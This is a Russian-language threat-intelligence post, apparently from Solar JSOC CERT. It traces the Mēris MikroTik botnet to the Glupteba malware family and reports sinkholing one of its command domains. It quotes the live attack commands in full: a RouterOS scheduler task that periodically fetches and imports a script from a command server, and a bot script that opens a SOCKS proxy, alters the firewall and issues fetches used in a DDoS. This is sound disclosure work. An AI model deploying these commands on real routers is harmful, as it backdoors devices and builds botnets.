что инструментом проведения атаки был ботнет Mēris, состоящий из сетевых устройств компании Mikrotik. При этом они отметили, что изучить образец бота у них не было возможности, но утверждение, что Mēris – это «вернувшийcя Mirai», не совсем точно из-за различия в сетевых уровнях атаки (L7 и L3).
Мы уверены, что данные обстоятельства привлекли внимание многих специалистов
по информационной безопасности в попытках изучения внутреннего устройства ботнета Mēris
и природы его возникновения. Мы в Solar JSOC CERT не стали исключением и пришли к выводу, что, возможно, Mēris начал зарождаться еще в 2018 году с помощью вредоносного семейства Glupteba, которое до сих пор является «поставщиком» устройств для Mēris. Так же нам удалось получить контроль над 45 тысячами устройств MikroTik.
JSOC CERT имеет распределенную по миру сеть honeypot-устройств для изучения массовых атак и вредоносных семейств с 2019 года. Последние два года мы наблюдали за попытками заражения устройств MikroTik при помощи брутфорса паролей по ssh и эксплуатации уязвимости CVE-2018-14847, позволяющей получить учетную запись администратора. Как правило после удачного входа на устройство прописывается команда на добавление задачи в планировщик задач RouterOS следующего вида:
/system scheduler add name="U6" interval=10m on-event="/tool
fetch url=http://…/poll/eb62f787-db25-489b-b60d-de8f23940ba2 mode=http dst-path=7wmp0b4s.rscrn/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write
У всех URL всегда присутствовала характерная часть “/poll/”, идентификатор же постоянно менялся. Кроме того, сервер управления всегда проверяет User-Agent в http-запросе и отдает нагрузку только устройствам MikroTik (User-Agent: Mikrotik/6.x Fetch).
Через некоторое время после заражения устройства по ссылке из запланированной задачи скачивается и запускается скрипт с командами (об этом уже писали на Хабре):
:do { /system scheduler set U6 interval=00:03:00 } on-error={ :put "U6 not found"}
:do { /system scheduler set U7 interval=00:03:00 } on-error={ :put "U7 not found"}
:do { /ip service disable telnet } on-error={ :put "disable telnet error"}
:do { /ip service disable api } on-error={ :put "disable api error"}
:do { /ip service disable api-ssl } on-error={ :put "disable api-ssl error"}
:do { /ip service set ssh port= } on-error={ :put "set ssh port error"}
:do { /ip socks set enabled=yes } on-error={ :put "socks enable error"}
:do { /ip socks set port=5678 } on-error={ :put "set socks port error"}
:do { /ip firewall filter add action=accept chain=input disabled=no dst-port=5678 protocol=tcp place-before=1 } on-error={ :put "firewall error"}
Устройства MikroTik занимают небольшую часть в нашей honeypot-сети, поэтому мы не могли, оперируя лишь нашими данными, рассуждать о масштабах угрозы.
9 сентября 2021 года на наши устройства MikroTik с серверов управления (ниже в таблице) пришла очередная задача (описанного выше формата), которую мы не встречали ранее.
Она содержала ссылку на Яндекс (по указанным ссылкам сейчас находится заглушка, рекомендующая проверить компьютер на вирусы; изначальное содержимое нам неизвестно):
:do { /system scheduler set U6 interval=00:03:00 } on-error={ :put "U6 not found"}
:do { /system scheduler set U7 interval=00:03:00 } on-error={ :put "U7 not found"}
:do { /ip service disable telnet } on-error={ :put "disable telnet error"}
:do { /ip service disable api } on-error={ :put "disable api error"}
:do { /ip service disable api-ssl } on-error={ :put "disable api-ssl error"}
:do { /ip service set ssh port= } on-error={ :put "set ssh port error"}
:do { /ip socks set enabled=yes } on-error={ :put "socks enable error"}
:do { /ip socks set port=5678 } on-error={ :put "set socks port error"}
:do { /ip firewall filter add action=accept chain=input disabled=no dst-port=5678 protocol=tcp place-before=1 } on-error={ :put "firewall error"}
:do { /tool fetch mode=https url="https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCN9A0" http-method=get }
:do { /tool fetch mode=https url="https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCN9A0?init" http-method=get }Так же в этот день Яндекс опубликовал новость о DDoS-атаке. Прочитав ее, мы сделали предположение, что именно таким образом и была организована атака (технических подробностей на тот момент представлено не было). То есть в качестве семпла вредоносного кода выступает лишь задача в планировщике RouterOS.
10 сентября 2021 мы зафиксировали распространение команды, в которой передавались параметры авторизации на FTP-сервере и задача по выгрузке на него конфигурационного файла зараженного устройства.
Мы забрали и проанализировали все конфигурационные файлы (они не содержат публичные адреса, логины и пароли). В итоге нам удалось идентифицировать общее количество уникальных устройств равное 95500.
При сравнении полученной информации о регионах устройств, версиях ОС и открытых Socks-proxy с данными в посте Яндекса мы заметили очевидное сходство.
Важной информацией в конфигурационных файлах всех устройств MikroTik было наличие записей о задачах в RouterOS. Мы проанализировали доменные имена (ниже), с которых взломанные устройства скачивали скрипты, и это привело нас к вредоносному семейству Glupteba, о котором мы уже рассказывали.
Именно тут мы и вспомнили, что Glupteba имеет в своем арсенале модуль для заражения MikroTik, который, к слову, работает тоже через брутфорс паролей по ssh и эксплуатации уязвимости CVE-2018-14847 и создает ровно такие же задачи.
О данном модуле ранее писали Sophos и TrendMicro (см. здесь и здесь).
Пример шаблона для формирования задачи из модуля:
Помните про идентификатор задачи, который присылался вместе с доменом и располагался после характерной части “/poll/”? Так вот это UUID, который формируется при помощи библиотеки github.com/gofrs/uuid как в основном модуле Glupteba, так и в модуле Mikrotik.
От себя скажем, что мы встречались с разными модулями Glupteba для Mikrotik. Условно их можно разделить на несколько групп:
- Язык: Go, один вшитый домен для формирования задачи;
- Язык: Go, несколько вшитых доменов (обычно, три), один из которых выбирается случайным образом;
- Язык: C++ с использованием boost.
Составили таблицу, в которой мы привели данные о доменах, найденных во вредоносных задачах конфигурационных файлов 95500 устройств Mikrotik и доменах, которые мы обнаружили в модулях семейства Glupteba:
Описанные выше данные позволяют предположить, что вредоносное семейство Glupteba, участвовало в формировании ботнета Mēris. Мы думали, что на этом наше исследование подойдет к концу, но самое интересное нас еще ждало впереди.
14 сентября 2021 в 17:37 на нашем ханипоте MikroTik была запущена очередная команда, которая отсылала зараженное устройство на CnC-адрес cosmosentry[.]com. Мы очень удивились, когда выяснили, что это доменное имя еще никому не принадлежит, и быстро зарегистрировали его на себя. За шесть дней на наш сервер обратилось около 78 тысяч уникальных IP c характерным для MikroTik User-Agent, и мы думали, что это соответствует количеству зараженных устройств.
Однако после изучения статистических данных оказалось, что на самом деле устройств около 45 тысяч, а такое количество IP-адресов получилось из-за динамической адресации. То есть многие устройства не имеют белого адреса и находятся во внутренней сети, что еще раз наводит на мысль об участии в этом деле семейства Glupteba.
Например, на рисунке представлена одна «белая подсеть» по маске /24, из которой идут обращения к cosmosentry[.]com.
Распределение по geo IP:
Наша статистика по геопринадлежности зараженных устройств схожа с данными в посте Яндекса (Бразилия, Индонезия, Индия, Бангладеш). Но есть и различия (у нас большую часть занимает Украина). Вероятно, у ботнета Mēris несколько серверов управления и нам доступна только часть устройств.
В конце хочется напомнить, что, к сожалению, мы не можем предпринять никаких активных действий с подконтрольными нам устройствами (у нас нет на это полномочий). В настоящий момент порядка 45 тысяч устройств MikroTik обращаются к нам, как к sinkhole-домену.
Информация уже передана в НКЦКИ.
Автор:
JSOC_CERT
